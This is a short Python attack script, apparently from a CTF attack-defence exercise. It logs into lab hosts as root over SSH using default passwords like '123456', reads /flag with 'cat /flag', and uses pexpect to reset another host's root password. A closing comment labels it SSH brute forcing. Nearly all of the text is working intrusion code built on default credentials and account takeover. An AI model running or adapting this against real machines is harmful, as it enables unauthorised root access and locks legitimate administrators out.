new

#!/usr/bin/env python
# -*- coding:UTF-8 -*-
#__author__="周品良"

import paramiko


client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('192.168.133.131', 22, username='root', password='123456', timeout=4)
stdin, stdout, stderr = client.exec_command('cat /flag')
for std in stdout.readlines():
    print (std)
client.close()



import pexpect

if __name__ == '__main__':
    uname = 'root'
    ip = '192.168.133.134'
    upasswd = '123'
    #enter = '\'
    passwd='1234'
    child = pexpect.spawn('ssh  {}@{}'.format(uname,ip))
    child.expect("root@192.168.133.134\'s password:")
    child.sendline(passwd)
    child.expect('Enter new UNIX password:')
    child.sendline(upasswd)
    print ('ok')
    child.expect('Retype new UNIX password: ')
    child.sendline(upasswd)
    print ('ok1')
    child.expect('passwd: password updated successfully')
    print('access')

#ssh爆破